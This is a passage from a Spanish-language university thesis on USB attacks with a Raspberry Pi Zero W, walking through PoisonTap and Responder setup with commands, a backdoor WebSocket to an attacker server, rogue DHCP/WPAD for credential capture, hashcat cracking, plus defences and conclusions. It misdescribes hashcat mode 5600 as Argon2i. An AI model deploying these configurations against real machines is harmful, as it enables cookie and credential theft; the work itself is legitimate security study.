https://github.com/samyk/poisontap. A continuación, vamos a configurar el archivo install.sh, que ejecutaremos para configurar nuestra Raspberry. El contenido de este documento lo sacamos del GitHub oficial de PoisonTap, recomendado por el creador de este exploit: Fig 7.9. Imagen del GitHub de Samyk en el que indica el contenido de install.sh 57 Fig 7.10. Contenido de nuestro archivo install.sh Fig 7.11. Ejecución archivo install.sh Ejecutamos la instrucción curl también en la Raspberry para descargar el Script de configuración de NodeJ, usamos el setup 18 que nos pone que es el recomendado: $ curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash - Fig 7.12. Ejecución de curl en la Raspberry y pone que el 18 es el recomendado 58 Fig 7.13. Ejecución de curl con el setup 18 en la Raspberry Una vez ejecutado estos comandos, debemos cambiar el fichero backdoor.html para que apunte al servidor que configuramos previamente, modificando esta línea: var socket = new WebSocket('ws://51.20.3.17:1337'); Fig 7.14. Documento backdoor.html Ahora, necesitamos añadir una nueva interfaz de red usb0, esto lo haremos añadiendo el siguiente fragmento al final del archivo /etc/network/interfaces. auto usb0 allow-hotplug usb0 iface usb0 inet static address 1.0.0.1 netmask 0.0.0.0 59 En la ejecución del install.sh ya se ha añadido este fragmento: Fig 7.15. Documento /etc/network/interfaces Lo siguiente es actualizar la configuración DHCP para que PoisonTap emita una respuesta a una solicitud DHCP, asignando a la máquina una dirección IP privada. No obstante, la peculiaridad de esta respuesta DHCP radica en que le comunica a la máquina que todo el espacio de direcciones IPv4 (desde 0.0.0.0 hasta 255.255.255.255) pertenece a la red local de PoisonTap, en contraposición a limitarse a una subred más específica, como podría ser, por ejemplo, al rango de direcciones que nosotros decidamos, para que funcione el PoisonTap. Para ello, utilizaremos el fichero dhcpd.conf que nos viene en el repositorio que hemos clonado, aplicando este comando: $ sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf 60 Fig 7.16. Documento dhcpd.conf También tenemos que modificar el fichero /etc/default/isc-dhcp-server, para que utilice la interfaz que acabamos de crear. Añadimos: INTERFACES="usb0" Fig 7.17. Contenido del archivo isc-dhcp-server 61 Podemos comprobar que el isc-dhcp-server está activo y corriendo perfectamente, aunque nos dio bastantes problemas, y tuvimos que estar haciendo kill a procesos dhcp que dejaban su rastro, y provocaban que no funcionase correctamente: Fig 7.18. isc-dhcp-server antes de arreglarlo Fig 7.19. isc-dhcp-server activo de manera correcta Por último, solo hay que asegurarse de que PoisonTap esté listo para usarse cada vez que arrancamos el dispositivo, para eso, ejecutamos los siguientes comandos: 62 $ sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ $ sudo chmod +x /etc/init.d/pi_startup.sh Y añadiremos en el fichero /etc/rc.local justo antes del final para que el archivo pi_startup.sh se ejecute al enchufar la Raspberry Pi: /etc/init.d/pi_startup.sh & Fig 7.20. Contenido del archivo rc.local Y con esto, ya estaría configurada nuestra Raspberry con PoisonTap. Antes de continuar, vamos a explicar qué hace cada uno de los scripts y archivos utilizados del repositorio de GitHub, para tener una visión más clara de lo que estamos haciendo. Los archivos principales en el repositorio son: ● pi_poisontap.js: Este archivo se ejecuta en una Raspberry Pi Zero mediante Node.js y actúa como un servidor HTTP. Su función principal es manejar las solicitudes HTTP interceptadas por PoisonTap en una computadora víctima. Además, este archivo almacena las cookies de sesión de los usuarios y realiza la inyección de puertas traseras previamente almacenadas en caché en el navegador de la víctima. 63 ● pi_startup.sh: Este script se ejecuta una vez que se inicia la Raspberry Pi Zero. Su objetivo es configurar el dispositivo para que emule un dispositivo Ethernet sobre USB. Esto permite el funcionamiento de un servidor DHCP malicioso, la redirección del tráfico, la suplantación DNS y el inicio de pi_poisontap.js. ● target_backdoor.js: Este archivo se utiliza para modificar y antepone código a archivos JavaScript relacionados con CDN (Content Delivery Network), como los utilizados en el ataque de backdooring. Esto permite la inserción de puertas traseras en el código cargado desde estas fuentes externas, como la URL de jQuery de Google CDN. ● poisontap.cookies.log: Este archivo se genera a medida que la máquina de la víctima envía solicitudes HTTP a PoisonTap. Registra las cookies capturadas desde el navegador de la víctima junto con la URL o el dominio asociado al que pertenecen. 7.6 Resultados obtenidos del exploit Tras muchos intentos, y pese a que PoisonTap estaba completamente configurado y se comenzaba a ejecutar correctamente, no conseguimos capturar ninguna cookie de manera satisfactoria. Esto se debe a, como se puede ver en la Fig 7.21, un problema derivado del CDN.js, que es un servicio de red de distribución de contenido que almacena y entrega archivos JavaScript y CSS populares para acelerar la carga de sitios web y aplicaciones. 64 Fig 7.21. PoisonTap en funcionamiento en una página HTTP abierta Igualmente, PoisonTap sí que capturaba otra información del navegador de la víctima, que se almacenaba todo en los logs del exploit: Fig 7.22. Archivo de logs de PoisonTap después de conectar la Raspberry al ordenador 65 Si nos centramos en alguna de las páginas de las que ha extraido información, podemos examinar todos los datos que nos ofrece: Fig 7.23. Información recogida por PoisonTap sobre una solicitud del navegador Podemos ver distintos datos como son la URL a la que se está haciendo la solicitud, el tamaño del contenido, información sobre el navegador y el sistema operativo utilizados (user-agent), y un par de hashes x-chrome-iuma-log-sha1 y x-chrome-iuma-log-hmac-sha256, que en el contexto de una solicitud a un servicio de Google, se utilizan para identificar y asegurar la solicitud, así como para recopilar información relacionada con el uso de Chrome para fines de seguimiento o estadísticas. Los logs también recogen las solicitudes que nos dan error por el CDN.js. Como se puede ver, falla al hacer peticiones contra AngularJS, que es un popular framework de JavaScript para el desarrollo de aplicaciones web. Fig 7.24. Archivo de logs de PoisonTap en el que se ven solicitudes contra AngularJS 66 Aún así, pese a no haber podido conseguir resultados completamente exitosos de captura de cookies, debido al trabajo y tiempo que le hemos dedicado a este exploit, consideramos que hemos adquirido un gran conocimiento sobre el mismo, y vamos a exponer lo que consideramos más interesante acerca de PoisonTap: ● Cuando se conecta a una computadora bloqueada (incluso si está protegida con contraseña), PoisonTap emula un dispositivo Ethernet y responde a las solicitudes DHCP de la computadora, haciendo que todo el tráfico web pase a través de él ● Intercepta las solicitudes HTTP realizadas por las páginas web en segundo plano y falsifica respuestas DNS para capturar cookies de autenticación y seguimiento, incluso si la conexión original estaba cifrada. ● También establece una puerta trasera en el enrutador interno de la red al forzar el almacenamiento en caché de una dirección IP específica, lo que permite el acceso remoto al enrutador y posibles ataques adicionales. ● Reemplaza miles de archivos JavaScript comunes en las redes de distribución de contenido (CDN), como los de Google y jQuery, con versiones modificadas que contienen una puerta trasera para que el atacante pueda realizar solicitudes desde el navegador infectado a sitios web importantes. En pocas palabras, es una técnica maliciosa que crea miles de pequeñas "puertas traseras" en tu navegador web. Estas puertas traseras son como trampas que se quedan en la memoria de tu computadora, incluso después de que cierras el navegador. Lo que hace Poisontap es que, cuando visitas un sitio web, coloca una de estas trampas en ese sitio. Después de hacerlo, si visitas este sitio nuevamente en el futuro, Poisontap puede aprovechar esa trampa para hacer cosas maliciosas, como robar tus datos o realizar acciones en tu nombre, incluso si no estás conectado en ese momento. 67 Lo más preocupante es que Poisontap puede eludir muchas de las medidas de seguridad habituales de los sitios web, lo que lo hace especialmente peligroso. Por eso, es esencial proteger tu computadora y tu información para evitar que algo así te afecte. 7.7 Cómo defenderse de PoisonTap En cuanto a la defensa ante el PoisonTap, podemos distinguir dos puntos de vista, el de un servidor y el de un usuario. Del lado del servidor: Si está ejecutando un servidor web, protegerse contra PoisonTap no resulta muy complicado: ● Utilizar solo HTTPS, como mínimo para la autenticación y el contenido autenticado, aunque debería de usarse HTTPS exclusivamente y redirigir todo el contenido HTTP a HTTPS, evitando ser engañado y dar credenciales en HTTP ● Asegurarse de que la flag Secure está activada en las cookies, para que estas no puedan ser leakeadas hacia HTTP. ● Usar HSTS para evitar ataques de HTTPS Downgrade Del lado del usuario: En el caso de querer proteger tu ordenador del ataque, resulta un poco más complicado: ● Añadir cemento a sus puertos USB y Thunderbolt puede ser eficaz ● Cerrar su navegador cada vez que se aleje de su máquina puede funcionar, pero no es muy cómodo/práctico. 68 ● Deshabilitar los puertos USB/Thunderbolt también es efectivo, aunque también poco práctico. ● Bloquear el ordenador no tiene ningún efecto, ya que las pilas de red y USB funcionan mientras la máquina está bloqueada, sin embargo, entrar en un modo de suspensión cifrado donde se requiere una clave para descifrar la memoria (por ejemplo, usando FileVault2) resuelve la mayoría de los problemas, ya que el navegador ya no hará peticiones, incluso si se despierta. En ambos casos, una buena medida a tomar para protegerse de este ataque es usar un antivirus efectivo contra su método. Algunos de ellos son: ● Panda Security: Proporciona todas las funciones básicas de seguridad y es especialmente seguro con los dispositivos USB conectados a la computadora. ● Norton: Detecta códigos maliciosos desde Internet, disminuyendo la infección de las computadoras. ● Kaspersky: Ofrece un alto rendimiento en la detección de malware, protegiendo a los usuarios que se conectan a Internet e intranet. 69 Capítulo 8 - Responder 8.1 Introducción ● Responder es una herramienta utilizada para analizar la seguridad de redes y sistemas. Desarrollado por Laurent Gaffié, se utiliza sobre todo para encontrar vulnerabilidades de autenticación en protocolos de red. ● Sigue un esquema de código abierto, y está diseñado para sacar provecho de las debilidades de autenticación en protocolos como pueden ser SMB (Server Message Block) y similares, que son utilizados para compartir recursos en redes locales, haciendo que sean un claro objetivo para los atacantes. Para poder lograr su cometido, Responder simula ataques reales y así analiza la seguridad del sistema “atacado”, encontrando vulnerabilidades que pueden ser aprovechadas por futuros atacantes. ● En el repositorio de GitHub podemos ver algunas de las funciones principales que realiza Responder para cumplir con su objetivo, como son: ● Interceptar solicitudes de autenticación: Responder se puede hacer pasar por un servidor y contestar las solicitudes de autenticación de red que reciba. Así, captura datos de inicio de sesión y más datos sensibles, consiguiendo información del usuario. ● Capturar datos confidenciales: Responder es capaz de obtener información confidencial, como pueden ser contraseñas, que se debería transmitir por un medio seguro, consiguiendo así las credenciales de la víctima. Este es el objetivo en el que nos hemos centrado nosotros. ● Analizar la seguridad: Responder ayuda a comprobar la efectividad de las políticas y soluciones de autenticación aplicadas en una red. De esta manera, se pueden encontrar vulnerabilidades y áreas de mejora en su configuración actual. 70 8.2 Funcionamiento del exploit La Raspberry Pi cumple con un rol crucial de proxy falso que se introduce en el flujo de comunicación entre los protocolos DNS (Sistema de Nombres de Dominio) y DHCP (Protocolo de Configuración Dinámica de Host). El objetivo es interceptar y responder a las solicitudes de configuración del protocolo WPAD (Proxy de Descubrimiento Automático de Web. WPAD es compatible a través de distintas plataformas, aunque en Windows está activado por defecto. Durante este proceso, todos los navegadores envían solicitudes al dominio wpad.local. En este momento, la Raspberry Pi aparece actuando de man in the middle, siendo capaz de capturar las credenciales de autenticación que se envíen. La Raspberry puede efectuar la suplantación del WPAD debido a su capacidad para hacerse pasar por un servidor DHCP, que facilita la viabilidad para llevar a cabo este ataque. Básicamente, el proxy falso actúa como un agente de distorsión en la red, introduciendo respuestas alteradas en las comunicaciones y, al mismo tiempo, capturando, sin que la víctima se de cuenta, los datos de autenticación (en forma de hash). Estos datos en forma de hash, son representaciones criptográficas de las credenciales capturadas. Dichos hashes los podemos ver en la terminal, o configurando el archivo Responder.conf para que nos lo guarde en una ruta de almacenamiento alternativa. Por defecto, estos datos se guardan en la ubicación responder/logs/HTTP-NTLMv2–192.168.2.2.txt. Este procedimiento permite a un potencial atacante capturar credenciales de autenticación de manera sigilosa. Esto recalca la importancia de la necesidad de adoptar medidas de seguridad sólidas en redes y dispositivos para prevenir posibles ataques. 71 8.3 Materiales necesarios A continuación se lista lo necesario para instalar el exploit en nuestra Raspberry Pi Zero W: ● Raspberry Pi Zero W ● Cable microUSB ● Tarjeta de memoria microSD (recomendable de 16 GB de capacidad) ● Lector de tarjetas microSD 8.4 Tutorial de instalación La instalación de Responder en la Raspberry Pi conlleva seguir una serie de pasos para conseguir una plataforma funcional. Primero tenemos que actualizar el sistema operativo e instalar componentes esenciales como Python y Pip. Esto nos asegura que contamos con un entorno adecuado para poder continuar. Después, clonamos el repositorio oficial de Responder alojado en GitHub, obteniendo así acceso a la última versión de la herramienta. Mediante esta clonación, creamos una base fiable a partir de la cual podemos configurar Responder de acuerdo a nuestras necesidades. Una vez hecho todo esto, terminamos con la instalación de dependencias de Python, para que la herramienta funcione correctamente. En este punto, Responder ya está instalado y perfectamente preparado para ser utilizado. 72 8.5 Configurar Responder Vamos a configurar el Responder para poder robar credenciales sin que la víctima se de cuenta. Para ello, lo primero que debemos hacer es instalar las dependencias y clonar el Repositorio del Responder: sudo apt install -y python git python-pip python-dev screen sqlite3 pip install pycrypto git clone https://github.com/lgandx/responder Al igual que con PoisonTap, necesitamos configurar la red en la Raspberry para el USB. Empezaremos instalando DHCP. sudo apt install -y isc-dhcp-server Como todavía no está configurado, al intentar iniciarlo fallará. Por ello, vamos a empezar a prepararlo. Primero crearemos la interfaz del USB. Al igual que antes, accedemos al fichero /etc/network/interfaces y añadimos el siguiente texto: auto usb0 allow-hotplug usb0 iface usb0 inet static address 192.168.2.201 netmask 255.255.255.0 gateway 192.168.2.1 Continuamos configurando el fichero dhcpd.conf, que está en la ruta /etc/dhcp. Esta vez vamos a editarlo a mano para poder ver su contenido: 73 https://github.com/lgandx/responder Fig 8.1. Contenido del archivo dhcpd.conf A continuación, debemos configurar los protocolos DHCP, para ello tenemos que editar el fichero /etc/default/isc-dhcp-server, descomentando las líneas DHCPDv4_CONF=/etc/dhcp/dhcpd.conf y DHCPDv4_PID=/var/run/dhcpd.pid y añadir usb0 al apartado que pone INTERFACESv4= . Fig 8.2. Contenido del archivo isc-dhcp-server 74 También debemos resetear los leases de DHCP (período de tiempo durante el cual un servidor DHCP asigna una dirección IP a un cliente). Eso se hace añadiendo las siguiente líneas al fichero /etc/rc.local: rm -f /var/lib/dhcp/dhcpd.leases touch /var/lib/dhcp/dhcpd.leases Fig 8.3. Contenido del archivo rc.local Reseteamos la Raspberry y ya estaría configurado el servidor DHCP en la IP que se haya elegido (en este caso es 192.168.2.201, es decir, usb0). Podemos comprobar que está bien configurado realizando un ping a esa dirección: Fig 8.4. Ping exitoso al servidor DHCP 75 Se puede ver que el servidor está activo utilizando el comando systemctl status isc-dhcp-server Fig 8.5. El isc-dhcp-server con estado Activo Una vez gestionado todo lo relacionado con el DHCP, ya solo quedaría terminar de configurar el Responder. Para ello, volvemos a editar el fichero /etc/rc.local, añadiendo estas líneas, que permiten que el exploit se ejecute automáticamente cada vez que se enciende la Raspberry Pi: /usr/bin/screen -dmS responder bash -c 'cd /home/pi/responder/; python Responder.py -I usb0 -f -w -r -d -F' Ahora crearemos un archivo de configuración de pantalla, y haremos que se guarden los logs automáticamente, introduciendo lo siguiente en el fichero: sudo nano ~/.screenrc deflog on logfile /home/pi/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log Fig 8.6. Contenido del archivo de configuración de pantalla para los logs Como último paso, creamos un directorio para poder almacenar todos los logs. mkdir ~/logs 76 En este punto, simplemente reiniciamos nuestra Raspberry Pi Zero W y ya estarían el servidor DHCP y el Responder totalmente configurados, permitiendo capturar credenciales desde el primer instante. 8.6 Resultados obtenidos del exploit Para poder mostrar los resultados más fácilmente, hemos ejecutado Responder manualmente con la instrucción sudo ./Responder.py -I usb0 -Fvw. Las opciones combinadas "-Fvw" activan tres funciones: "-F" habilita el reenvío de autenticación NTLM para ataques de tipo "relé", "-v" aumenta la información en la salida para seguimiento detallado y depuración, y "-w" crea un servidor WPAD falso que responde a las solicitudes de los dispositivos en la red que intentan obtener el archivo wpad.dat para configurar automáticamente su configuración de proxy web. En lugar de recibir la configuración de proxy legítima, los dispositivos se dirigen al servidor falso controlado por nosotros, el cual le pedirá unas credenciales al usuario, que son las que capturaremos. Fig 8.7. Interfaz de Responder.py 77 Con el Responder ya en ejecución, el exploit estará a la escucha de eventos, preparado para capturar toda actividad que afecte a nuestro servidor: Fig 8.8. Responder listo y escuchando cualquier evento en el servidor Cuando la víctima accede al servidor para descargar el archivo wpad.dat, se le pedirá un nombre de usuario y contraseña. Fig 8.9. El navegador pidiendo las credenciales que serán capturadas 78 Esas credenciales son capturadas por el Responder, pero la contraseña nos la capturada Hasheada en NTLMv2: Fig 8.10. Credenciales capturadas por Responder El problema es que la función de Hash NTLMv2 es irreversible, por lo que no se puede desencriptar. Por ello, se debe recurrir a un ataque de fuerza bruta o de diccionario para intentar conseguir la contraseña limpia. Para hacer un ataque de diccionario, hay muchas listas en Internet de contraseñas filtradas/más usadas, siendo rockyou.txt una de estas listas más famosa y completa. 79 En nuestro caso, para que el ataque de diccionario sea mucho más rápido y no pruebe con las miles de contraseñas que hay en listas de ese estilo, hemos creado nuestro propio diccionario de passwords, añadiendo entre ellas, la contraseña utilizada cuando el servidor pidió las credenciales (tfg123): Fig 8.11. Lista de contraseñas utilizada para el ataque de diccionario Ahora que ya está claro que se ha de realizar un ataque de diccionario, y que tenemos nuestra lista de contraseñas contra la que probar, vamos a apoyarnos en la herramienta Hashcat para intentar crackear nuestro Hash NTLMv2. Esto lo haremos en nuestro ordenador Windows en vez de en la Raspberry, ya que, al tener mejores especificaciones y ser más potente, Hashcat tiene más recursos para crackear, lo que le permitirá ser más eficiente y tardará mucho menos tiempo. Para ello, guardaremos nuestro Hash NTLMv2 en un archivo hash.txt, y ejecutamos la instrucción ./hashcat.exe -m 5600 hashes\hash.txt password_list.txt -o cracked\cracked.txt. Usamos la opción -m 5600 para indicar el modo Argon2i, que es típico cuando se realizan ataques de diccionario o fuerza bruta. La opción -o indica que se nos va a guardar el resultado en la ruta cracked\cracked.txt. 80 Fig 8.12. Ejecución de Hashcat para crackear el Hash Una vez ha terminado de ejecutarse el Hashcat, podemos ver que el status indica Cracked. Eso significa que ha encontrado la contraseña en la lista proporcionada (algo obvio en nuestro caso, ya que hemos introducido la contraseña a propósito para comprobar el funcionamiento del exploit). En el archivo de salida veremos que aparece la contraseña en limpio, y de esta manera, habremos capturado las credenciales de la víctima: Fig 8.13. Salida de Hashcat, en la que aparece la contraseña en limpio 81 También conviene saber que existe un documento en los logs que guarda todas las credenciales que han sido introducidas en el servidor desde el momento en que se inició, por lo que se mantiene el histórico y no se pierde ninguna: Fig 8.14. Logs en los que aparece el histórico de credenciales introducidas en el servidor 8.7 Cómo defenderse de Responder ● Hay varias medidas que se pueden tomar para combatir los posibles ataques realizados con Responder: ● Disponer de un antivirus eficaz. Un antivirus eficaz puede bloquear de forma nativa todas las solicitudes de difusión LLMNR y NetBIOS Server Name, consiguiendo así evitar la recolección de credenciales. ● Políticas de grupo. Hay varias políticas de grupo que se pueden activar para proteger aún más los equipos asociados a un dominio. Para ello, hay que deshabilitar LLMNR y WPAD. 82 ● Desactivar NetBIOS Broadcast. En el caso de alojar el servidor DHCP en Windows, esto es tan sencillo como marcar una casilla. Sin embargo, si no se está usando Windows Server para alojar el servidor DHCP, hay que ejecutar los siguientes comandos PowerShell para desactivar esta configuración. El comando Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" -Name "EnableBroadcasts" -Value 0, establece el valor de EnableBroadcasts en 0, lo que deshabilitará las transmisiones NetBIOS, siempre y cuando sea ejecutado con permisos de administrador. 83 Capítulo 9 - Conclusiones y relación con el Grado 9.1 Conclusiones del trabajo Durante la realización de nuestro Trabajo de Fin de Grado, hemos profundizado en el mundo de los ataques a través del puerto USB, explorando el protocolo USB, los tipos de ataques posibles y de cómo una Raspberry Pi Zero W, un dispositivo de bajo coste y ampliamente disponible, puede ser utilizado para llevar a cabo estos ataques. A lo largo de este estudio, hemos aprendido que la facilidad con la que se pueden ejecutar ciertos ataques a través de este puerto es una preocupación real y un recordatorio de la importancia de la seguridad en la era digital. Uno de los aspectos más destacados de esta investigación es la facilidad con la que pueden llevarse a cabo ataques a través de dispositivos USB maliciosos. Ataques que aprovechan la curiosidad y la confianza del usuario para conseguir conectar un dispositivo USB al sistema objetivo son particularmente competentes. Esto subraya la necesidad crítica de concienciar sobre la seguridad y la importancia de no conectar dispositivos USB desconocidos o no verificados a sistemas sensibles. También cabe destacar la facilidad con la que pueden llevarse a cabo ataques a través de dispositivos USB maliciosos. La accesibilidad de herramientas como la Raspberry Pi para crear vectores de ataque a través del puerto USB plantea una seria advertencia sobre la necesidad de proteger nuestros sistemas contra estas amenazas. A pesar de la aparente facilidad de ejecución de estos ataques, hemos demostrado que la defensa contra ellos es una tarea complicada. La protección efectiva contra ataques a través de puertos USB requiere un profundo conocimiento de las amenazas potenciales, así como la implementación de prácticas y medidas de seguridad adecuadas. Esto resalta la importancia de la educación y la capacitación continua en ciberseguridad, tanto a nivel individual como organizativo. 84 Además, debemos destacar el peligro generado por la capacidad de los dispositivos USB OTG para hacerse pasar por cualquier otro dispositivo USB, lo que plantea un riesgo adicional en la seguridad de nuestros sistemas. Es crucial que se preste atención a este aspecto y se tomen medidas adecuadas para mitigar estos riesgos. En definitiva, esta investigación nos ha permitido reconocer la importancia de comprender y defenderse contra los ataques a través del puerto USB. La facilidad de ejecución de estos ataques contrasta con la complejidad de la defensa, lo que subraya la importancia de la educación continua y la concienciación en materia de seguridad digital. 9.2 Relación con lo estudiado en el Grado Durante la realización de nuestro Trabajo de Fin de Grado, hemos tenido la oportunidad de aplicar y ampliar significativamente los conocimientos que adquirimos durante nuestra formación académica. Estos conocimientos han sido esenciales para llevar a cabo una investigación sólida y responsable. En primer lugar, el entendimiento del sistema operativo Linux ha sido fundamental en este proyecto. Gracias a las enseñanzas de la asignatura de Sistemas Operativos, disponíamos de conocimientos acerca del funcionamiento interno de este sistema operativo, así como la capacidad de utilizar comandos en la terminal de manera efectiva. Estos conocimientos son esenciales para comprender cómo interactuar con el hardware y el software de la Raspberry Pi Zero W, que se ejecuta en una distribución de Linux. Asimismo, las bases sólidas en las capas de la comunicación que obtuvimos de la asignatura de Redes resultaron ser fundamentales para comprender los entresijos de la comunicación a través de los puertos USB. Comprender cómo se estructuran y gestionan los datos en las diferentes capas del modelo OSI y el modelo TCP/IP ha sido esencial para analizar y manipular la comunicación entre la Raspberry Pi y los dispositivos conectados. 85 En cuanto a la gestión de redes y protocolos de comunicación, las asignaturas de Redes y de Ampliación de Sistemas Operativos y Redes han desempeñado un papel crucial en nuestro TFG. Hemos aplicado conocimientos sobre el funcionamiento del DHCP (Protocolo de Configuración Dinámica de Hosts) para comprender cómo los dispositivos USB pueden obtener direcciones IP de manera automática y cómo esto puede utilizarse como vector de ataque. Además, la comprensión de las redes inalámbricas (WiFi) que adquirimos en estas asignaturas fue útil para analizar el funcionamiento del sistema de enrutamiento, que nos ha permitido manipular el tráfico de red a nuestro gusto. Las asignaturas de Redes y Seguridad I y II han sido fundamentales en la adquisición de conocimientos relacionados con hacking ético y ciberseguridad. Estos cursos nos han proporcionado una base sólida para comprender los principios fundamentales de la seguridad informática y las técnicas de evaluación de vulnerabilidades. Han contribuido de manera significativa a nuestra capacidad para abordar aspectos críticos de la seguridad en el proyecto. El conjunto de conocimientos adquiridos en las asignaturas de todo el grado ha sido esencial para el desarrollo y la ejecución exitosa de nuestro Trabajo de Fin de Grado. Estos conocimientos nos han proporcionado una base sólida para llevar a cabo la investigación de manera responsable y eficiente. 86 Capítulo 10 - English 10.1 Introduction USB connectivity, a ubiquitous feature in most modern computing devices, has proven to be a double sword in the world of cybersecurity. While it provides a convenient gateway for peripherals and mobile devices, it has also become a stealthy ally of cybercriminals. This paper delves into the shadowy world of hidden attacks on computers via the USB port, an attack vector that has proven to be stealthy and effective. Today's computer systems, whether personal computers or enterprise devices, are equipped with one or more USB ports. These seemingly innocent-looking ports can become the secret entrance for infiltration and control of a computer without the user noticing. In this context, individuals who, through ignorance or carelessness, become victims of these attacks, face potentially devastating consequences for their security and data. This Final Degree Project dives into the depths of this problem, beginning with a brief look at the history of the USB port and moving towards an exploration of the specific vulnerabilities that allow these attacks to thrive. We will investigate the techniques and strategies used by cybercriminals to compromise computer systems in a hidden and effective manner. This research paper focuses specifically on HID (Human Interface Device) attacks via the USB port. From understanding the history and operation of the HID standard to implementing these attacks in various environments using a Raspberry Pi Zero W as an attacking tool. Not only will we examine in detail how these exploits operate once the victim is attacked in multiple contexts, but we will also provide potential solutions and demonstrations of their implementation, accompanied by brief setup tutorials for their use. 87 10.2 Motivation The main motivation for doing this project is the curiosity and appreciation for this field of computer science. We live in a digital era in which computer security is fundamental. This particular topic will allow us to understand and address one of the most critical and vulnerable areas of cybersecurity, and learn to contribute to the protection of individuals and organizations against increasingly sophisticated threats, because although computer systems are very present today, there is still much ignorance and therefore risk that someone is a victim of this type of attack. On the other hand, we will have the opportunity to expand our technical skills, delve into the inner workings of computer systems and, through ethical hacking, think innovatively and creatively about ways to find vulnerabilities and effective solutions to certain attacks. 10.3 Goals The main objectives of this Final Degree Project are to investigate, analyze and propose solutions to address the vulnerabilities and risks associated with USB port hacking, and are divided into four points: ● Analyze and understand system vulnerabilities through a comprehensive analysis, identifying and documenting the techniques and methods used in these attacks, as well as their potential consequences. ● Evaluate the effectiveness of existing security measures to prevent and mitigate attacks through. This will be through a detailed analysis of existing defenses and a critical assessment of their ability to withstand the latest attacks. 88 ● Develop mitigation techniques and defensive solutions to protect computer systems. Examples may include implementing additional security protocols or designing intrusion detection mechanisms. ● Promote awareness of the importance of IT security by disseminating relevant information and best practices to promote greater security and prevent potential attacks. 10.4 Work Plan To begin with, we will start by familiarizing ourselves with the fundamental concepts of hacking, understanding its motivations and the ethical and legal implications involved. This foundation will be essential for approaching the issues in an informed and responsible manner. Once we have a solid understanding of the basics of hacking, we will focus on the USB protocol and how it works. We will learn how USB devices communicate with host machines, understanding how this connection is established and what vulnerabilities could be exploited in the process. As we delve deeper into the world of USB attacks, we will learn about a wide range of attack techniques and tactics. From well-known attacks such as BadUSB to the use of tools such as Rubber Ducky, to the emulation of various USB devices, we will examine how these attacks can compromise the security and privacy of computer systems. A crucial component of our project will be the detailed study of the Raspberry Pi Zero W, as it is the main tool we rely on to conduct the study on these attacks. This tool will give us the ability to emulate USB devices and perform simulated attacks in controlled environments. We will learn how to configure and use this platform to simulate various types of USB attacks. 89 With the knowledge base we will have acquired, we will focus on the attacks we find most interesting and relevant. We will delve into their inner workings, exploring how they are executed and how we might defend against them. We will analyze possible countermeasures and security strategies that could help mitigate these attacks. 10.5 Conclusions During the course of our Final Degree Project, we have delved into the world of attacks through the USB port, exploring the USB protocol, the types of attacks possible and how a Raspberry Pi Zero W, a low-cost and widely available device, can be used to carry out these attacks. Throughout this study, we have learned that the ease with which certain attacks can be executed through this port is a real concern and a reminder of the importance of security in the digital age. One of the highlights of this research is the ease with which attacks can be carried out through malicious USB devices. Attacks that exploit user curiosity and trust to get a USB device connected to the target system are particularly proficient. This underscores the critical need for security awareness and the importance of not connecting unknown or unverified USB devices to sensitive systems. It is also worth noting the ease with which attacks can be carried out via malicious USB devices. The accessibility of tools such as the Raspberry Pi to create attack vectors through the USB port raises a serious warning about the need to protect our systems against these threats. Despite the apparent ease of execution of these attacks, we have shown that defending against them is a complicated task. Effective protection against attacks via USB ports requires a thorough understanding of the potential threats, as well as the implementation of appropriate security practices and measures. This highlights the 90 importance of ongoing cybersecurity education and training, both at the individual and organizational level. In addition, we should highlight the danger generated by the ability of USB OTG devices to impersonate any other USB device, which poses an additional risk to the security of our systems. It is crucial to pay attention to this aspect and take appropriate measures to mitigate these risks. Ultimately, this research has allowed us to recognize the importance of understanding and defending against attacks via the USB port. The ease of execution of these attacks contrasts with the complexity of defense, underscoring the importance of ongoing education and awareness of digital security. 10.6 Relation to what was studied in the degree During the completion of our Final Degree Project, we have had the opportunity to apply and significantly expand the knowledge we acquired during our academic training. This knowledge has been essential to carry out a solid and responsible research. First of all, the understanding of the Linux operating system has been fundamental in this project. Thanks to the teachings of the Sistemas Operativos course, we had knowledge about the inner workings of this operating system, as well as the ability to use terminal commands effectively. This knowledge is essential to understand how to interact with the hardware and software of the Raspberry Pi Zero W, which runs on a Linux distribution. Also, the solid foundation in the layers of communication that we gained from the Redes course proved to be critical to understanding the ins and outs of communicating through USB ports. Understanding how data is structured and managed in the different 91 layers of the OSI model and the TCP/IP model has been essential to analyze and manipulate the communication between the Raspberry Pi and the connected devices. In terms of network management and communication protocols, the Redes and Ampliaciación de Sistemas Operativos y Redes courses have played a crucial role in our Final Degree Project. We have applied knowledge of DHCP (Dynamic Host Configuration Protocol) operation to understand how USB devices can obtain IP addresses automatically and how this can be used as an attack vector. In addition, the understanding of wireless networks (WiFi) that we acquired in these subjects was useful in analyzing the operation of the routing system, which has allowed us to manipulate network traffic to our liking. The Redes y Seguridad I y II courses have been fundamental in acquiring knowledge related to ethical hacking and cybersecurity. These courses have provided us with a solid foundation in understanding the fundamental principles of computer security and vulnerability assessment techniques. They have contributed significantly to our ability to address critical aspects of security in the project. The body of knowledge acquired in the subjects of the entire degree has been essential for the development and successful execution of our Final Degree Project. This knowledge has provided us with a solid foundation to conduct the research in a responsible and efficient manner. 92 Capítulo 11 - Contribuciones Personales 11.1 Omar Asuik Alilou En el desarrollo de este trabajo de fin de grado, hemos dividido el proceso en dos etapas claramente definidas. En la primera fase, que compartimos todos los integrantes del grupo, nos sumergimos en una exhaustiva investigación destinada a profundizar en nuestra comprensión de los ataques HID USB. Para lograr este objetivo, nos sumergimos en la lectura de diversos artículos proporcionados por nuestro tutor. Estos recursos nos brindaron información crucial sobre el funcionamiento del protocolo USB y la taxonomía de los ataques USB. Una parte esencial de nuestra investigación se centró en comprender el funcionamiento de nuestro dispositivo de ataque principal, la Raspberry Pi Zero W. La búsqueda de información específica sobre ataques que emplearan una Raspberry Pi Zero fue una tarea desafiante, ya que había escasa documentación disponible en línea. Cada miembro del grupo realizó una búsqueda minuciosa de ataques que se valieran de esta tecnología. Posteriormente, compartimos nuestras investigaciones y solicitamos una reunión con nuestro tutor para recibir orientación sobre cuál de estos ataques sería el más adecuado para nuestro proyecto. Tras una discusión en profundidad con el profesor, nos proporcionó un par de artículos sumamente interesantes que abordaban ataques utilizando una Raspberry Pi como un dispositivo USB/Ethernet. Tras 